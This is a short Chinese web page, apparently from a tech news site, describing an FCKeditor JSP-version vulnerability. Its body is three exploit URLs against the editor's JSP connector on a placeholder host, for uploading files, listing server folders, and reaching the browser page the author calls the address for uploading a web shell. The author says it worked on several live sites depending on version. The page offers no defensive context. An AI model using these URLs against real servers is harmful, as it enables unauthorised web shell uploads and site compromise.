当前位置: 移动技术网 > 网络运营>安全>企业安全 > FCKeditor JSP版漏洞

FCKeditor JSP版漏洞

2019年05月25日  | 移动技术网网络运营  | 我要评论
fckeditor的jsp版漏洞

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=fileupload&type=image&currentfolder=%2f

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=getfoldersandfiles&type=image&currentfolder=%2f
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?type=image&connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网